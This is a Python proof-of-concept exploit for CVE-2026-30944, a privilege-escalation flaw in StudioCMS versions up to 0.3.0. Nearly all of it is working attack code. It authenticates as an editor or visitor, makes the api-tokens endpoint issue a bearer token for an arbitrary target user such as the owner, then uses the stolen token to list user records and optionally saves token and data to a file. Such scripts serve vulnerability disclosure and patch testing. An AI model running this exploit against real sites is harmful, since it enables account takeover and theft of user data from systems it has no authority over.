#!/usr/bin/env python3 """ CVE-2026-30944 - StudioCMS Privilege Escalation via Insecure API Token Generation Author: Filipe Gaudard Date: 2026-03-10 Description: The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation. Affected versions: studiocms <= 0.3.0 Fixed in: 0.4.0 References: - CVE: CVE-2026-30944 - CWE: CWE-639, CWE-863 - GHSA: GHSA-667w-mmh7-mrr4 - CVSS: 8.8 (High) """ import argparse import json import sys import os from datetime import datetime try: import requests from colorama import Fore, Style, init init(autoreset=True) except ImportError: print("[!] Missing dependencies. Install with: pip install requests colorama") sys.exit(1) # ─── Constants ──────────────────────────────────────────────────────────────── BANNER = f""" {Fore.RED}╔══════════════════════════════════════════════════════════════════╗ ║ ║ ║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ║ ║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██║ ██║ ║ ║ ██║ ██║ ██║█████╗ ████╗█████╔╝██║██╔██║ █████╔╝███████║ ║ ║ ██║ ╚██╗ ██╔╝██╔══╝ ╚═══╝╚═══██╗████╔╝██║██╔═══╝ ╚════██║ ║ ║ ╚██████╗ ╚████╔╝ ███████╗ ██████╔╝╚██████╔╝███████╗ ██║ ║ ║ ╚═════╝ ╚═══╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═╝ ║ ║ ║ ║ StudioCMS Privilege Escalation via API Token Generation ║ ║ BOLA / IDOR — CWE-639 | CVSS 8.8 ║ ║ Author: Filipe Gaudard ║ ║ ║ ╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL} """ ENDPOINTS = { "login": "/studiocms_api/auth/login", "api_tokens": "/studiocms_api/dashboard/api-tokens", "users": "/studiocms_api/rest/v1/users", "verify_session": "/studiocms_api/dashboard/verify-session", } # ─── Helper Functions ───────────────────────────────────────────────────────── def log_success(msg): print(f" {Fore.GREEN}[+]{Style.RESET_ALL} {msg}") def log_info(msg): print(f" {Fore.BLUE}[*]{Style.RESET_ALL} {msg}") def log_warning(msg): print(f" {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}") def log_error(msg): print(f" {Fore.RED}[-]{Style.RESET_ALL} {msg}") def log_header(msg): print(f"\n {Fore.CYAN}{'─' * 60}") print(f" {msg}") print(f" {'─' * 60}{Style.RESET_ALL}") # ─── Core Functions ─────────────────────────────────────────────────────────── def authenticate(session, base_url, username, password, verify_ssl=True): """Authenticate to StudioCMS and return session with auth cookie.""" url = base_url + ENDPOINTS["login"] payload = {"username": username, "password": password} try: resp = session.post(url, json=payload, verify=verify_ssl, allow_redirects=False) if "auth_session" in session.cookies.get_dict(): log_success(f"Authenticated as '{username}'") return True # Some versions redirect on success if resp.status_code in (301, 302, 303): log_success(f"Authenticated as '{username}' (redirect)") return True log_error(f"Authentication failed for '{username}' (HTTP {resp.status_code})") return False except requests.exceptions.ConnectionError: log_error(f"Connection failed to {base_url}") return False def verify_session(session, base_url, verify_ssl=True): """Verify current session and return user info.""" url = base_url + ENDPOINTS["verify_session"] payload = {"originPathname": base_url + "/dashboard"} try: resp = session.post(url, json=payload, verify=verify_ssl) if resp.status_code == 200: data = resp.json() if data.get("isLoggedIn"): user = data.get("user", {}) level = data.get("permissionLevel", "unknown") return { "id": user.get("id"), "name": user.get("name"), "username": user.get("username"), "email": user.get("email"), "permissionLevel": level, } return None except Exception: return None def generate_token_for_user(session, base_url, target_uuid, description="CVE-2026-30944", verify_ssl=True): """Exploit: Generate an API token for an arbitrary user (IDOR).""" url = base_url + ENDPOINTS["api_tokens"] payload = { "user": target_uuid, "description": description, } try: resp = session.post(url, json=payload, verify=verify_ssl) if resp.status_code == 200: data = resp.json() token = data.get("token") if token: return token log_warning("Response 200 but no token in body") return None elif resp.status_code == 403: log_info("Access denied (403 Forbidden) — endpoint may be patched") return None else: log_error(f"Unexpected response: HTTP {resp.status_code}") try: log_error(f"Body: {resp.text[:200]}") except Exception: pass return None except requests.exceptions.ConnectionError: log_error(f"Connection failed to {base_url}") return None def verify_token_access(base_url, token, verify_ssl=True): """Verify the stolen token by accessing the users API endpoint.""" url = base_url + ENDPOINTS["users"] headers = {"Authorization": f"Bearer {token}"} try: resp = requests.get(url, headers=headers, verify=verify_ssl) if resp.status_code == 200: data = resp.json() return data log_warning(f"Token verification returned HTTP {resp.status_code}") return None except Exception as e: log_error(f"Token verification failed: {e}") return None def list_users(base_url, token, verify_ssl=True): """List all users using the stolen token.""" url = base_url + ENDPOINTS["users"] headers = {"Authorization": f"Bearer {token}"} try: resp = requests.get(url, headers=headers, verify=verify_ssl) if resp.status_code == 200: return resp.json() return None except Exception: return None def save_results(data, filename): """Save exploitation results to JSON file.""" with open(filename, "w") as f: json.dump(data, f, indent=2, default=str) log_success(f"Results saved to {filename}") # ─── Exploitation Modes ────────────────────────────────────────────────────── def manual_exploit(args): """Manual exploitation: authenticate and generate token for target UUID.""" log_header("PHASE 1: Authentication") session = requests.Session() if not authenticate(session, args.url, args.username, args.password, args.verify_ssl): return # Verify attacker's session user_info = verify_session(session, args.url, args.verify_ssl) if user_info: log_info(f"Session user: {user_info['name']} ({user_info['permissionLevel']})") log_info(f"Session UUID: {user_info['id']}") else: log_warning("Could not verify session details") log_header("PHASE 2: Privilege Escalation") log_info(f"Target UUID: {args.uuid}") log_info("Generating API token for target user...") token = generate_token_for_user(session, args.url, args.uuid, verify_ssl=args.verify_ssl) if not token: log_error("Exploitation failed — token not generated") return log_success("API token generated successfully!") log_warning(f"Token: {token[:50]}...") log_header("PHASE 3: Verification") log_info("Verifying token access on REST API...") users_data = verify_token_access(args.url, token, args.verify_ssl) if users_data: log_success("VULNERABILITY CONFIRMED — Full API access achieved!") log_info(f"Retrieved {len(users_data) if isinstance(users_data, list) else 'unknown'} user records") if isinstance(users_data, list): print() for user in users_data[:5]: name = user.get("name", "N/A") uid = user.get("id", "N/A") log_info(f" User: {name} | ID: {uid}") if len(users_data) > 5: log_info(f" ... and {len(users_data) - 5} more") else: log_warning("Token generated but API access could not be verified") # Save results if args.save: results = { "cve": "CVE-2026-30944", "timestamp": datetime.now().isoformat(), "target": args.url, "attacker": user_info if user_info else {"username": args.username}, "target_uuid": args.uuid, "token": token, "users_data": users_data, "vulnerable": users_data is not None, } save_results(results, f"cve_2026_30944_{args.uuid[:8]}.json") def auto_test(args): """Automated testing with multiple roles to confirm vulnerability.""" log_header("AUTOMATED VULNERABILITY TEST") log_info(f"Target: {args.url}") log_info(f"Target UUID: {args.uuid}") results = {} test_accounts = [] if args.editor_user and args.editor_pass: test_accounts.append(("Editor", args.editor_user, args.editor_pass)) if args.visitor_user and args.visitor_pass: test_accounts.append(("Visitor", args.visitor_user, args.visitor_pass)) if not test_accounts: log_error("No test accounts provided. Use --editor-user/--editor-pass or --visitor-user/--visitor-pass") return for role_label, username, password in test_accounts: log_header(f"Testing as {role_label}: {username}") session = requests.Session() if not authenticate(session, args.url, username, password, args.verify_ssl): results[role_label] = {"status": "auth_failed"} continue user_info = verify_session(session, args.url, args.verify_ssl) if user_info: log_info(f"Detected role: {user_info['permissionLevel']}") log_info("Attempting to generate token for target user...") token = generate_token_for_user(session, args.url, args.uuid, verify_ssl=args.verify_ssl) if token: log_success(f"Token generated as {role_label}!") users_data = verify_token_access(args.url, token, args.verify_ssl) if users_data: log_warning(f"VULNERABILITY CONFIRMED for role: {role_label}") results[role_label] = { "status": "vulnerable", "token": token[:50] + "...", "api_access": True, } else: results[role_label] = { "status": "token_generated_no_api_access", "token": token[:50] + "...", } else: log_info(f"Token generation denied for {role_label}") results[role_label] = {"status": "not_vulnerable"} # Summary log_header("TEST SUMMARY") vulnerable = any(r.get("status") == "vulnerable" for r in results.values()) for role, result in results.items(): status = result.get("status", "unknown") if status == "vulnerable": log_warning(f"{role}: VULNERABLE — token generated + API access confirmed") elif status == "token_generated_no_api_access": log_warning(f"{role}: PARTIALLY VULNERABLE — token generated") elif status == "not_vulnerable": log_success(f"{role}: NOT VULNERABLE — access denied") elif status == "auth_failed": log_error(f"{role}: AUTHENTICATION FAILED") print() if vulnerable: log_warning("SYSTEM IS VULNERABLE TO CVE-2026-30944") else: log_success("SYSTEM APPEARS PATCHED") if args.save: save_results(results, "cve_2026_30944_autotest.json") # ─── Main ───────────────────────────────────────────────────────────────────── def parse_args(): parser = argparse.ArgumentParser( description="CVE-2026-30944 — StudioCMS Privilege Escalation PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Manual exploitation python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 --uuid # Automated testing python3 %(prog)s -u http://localhost:4321 --auto-test --editor-user editor01 --editor-pass pass123 --uuid # Save results python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 --uuid --save """, ) parser.add_argument("-u", "--url", required=True, help="Target StudioCMS base URL") parser.add_argument("--uuid", required=True, help="Target user UUID (e.g., owner UUID)") # Manual mode manual = parser.add_argument_group("Manual Mode") manual.add_argument("--username", help="Username for authentication") manual.add_argument("--password", help="Password for authentication") # Auto test mode auto = parser.add_argument_group("Automated Test Mode") auto.add_argument("--auto-test", action="store_true", help="Enable automated multi-role testing") auto.add_argument("--editor-user", help="Editor account username") auto.add_argument("--editor-pass", help="Editor account password") auto.add_argument("--visitor-user", help="Visitor account username") auto.add_argument("--visitor-pass", help="Visitor account password") # Optional parser.add_argument("--save", action="store_true", help="Save results to JSON file") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification") return parser.parse_args() def main(): print(BANNER) args = parse_args() args.url = args.url.rstrip("/") args.verify_ssl = not args.no_ssl_verify if args.no_ssl_verify: import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if args.auto_test: auto_test(args) elif args.username and args.password: manual_exploit(args) else: log_error("Provide --username/--password for manual mode or --auto-test for automated testing") sys.exit(1) if __name__ == "__main__": main()